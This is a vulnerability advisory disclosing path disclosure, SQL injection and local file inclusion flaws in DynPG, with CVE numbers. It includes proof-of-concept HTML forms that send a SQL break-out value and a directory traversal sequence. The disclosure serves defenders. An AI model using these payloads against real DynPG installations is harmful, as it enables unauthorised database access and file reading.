Multiple Vulnerabilities in DynPG

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in DynPG which could be exploited to perform SQL injection attacks, disclose potentially sensitive information and compromise vulnerable system.

1. Installation path disclosure weakness in in DynPG: CVE-2010-4401
   The weakness was found in the languages.inc.php script. A remote attacker can obtain knowledge of the application`s installation folder by directly accessing the vulnerable script.
   Exploitation example:
   http://[host]/languages.inc.php

2. SQL injection vulnerabilities in DynPG: CVE-2010-4400
   The vulnerability exists due to input sanitation errors in the “giveRights_UserId” parameter in _rights.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
   Exploitation example:
   <form action=“http://[host]/_rights.php” method=“post” name=“main” >
   <input type=“hidden” name=“saveRights” value=“1” />
   <input type=“hidden” name=“giveRights_giveright” value=“1” />
   <input type=“hidden” name=“giveRights_UserId” value=“123’SQL_CODE_HERE” />
   <input type=“submit” value=“submit” name=“submit” />
   </form>

3. Local file inclusion vulnerability in DynPG: CVE-2010-4399
   Input passed to the “CHG_DYNPG_SET_LANGUAGE” variable in index.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences.
   Exploitation example:
   <form action=“http://[host]/index.php” method=“post” name=“main” >
   <input type=“hidden” name=“SYSTEM_NAME” value=“[admin_login]” />
   <input type=“hidden” name=“SYSTEM_PASSWORD” value=“[admin_password]” />
   <input type=“hidden” name=“SET_LANGUAGE” value=“1” />
   <input type=“hidden” name=“CHG_DYNPG_SET_LANGUAGE” value=“…/…/…/…/…/” />
   <input type=“submit” value=“submit” name=“submit” />
   </form>
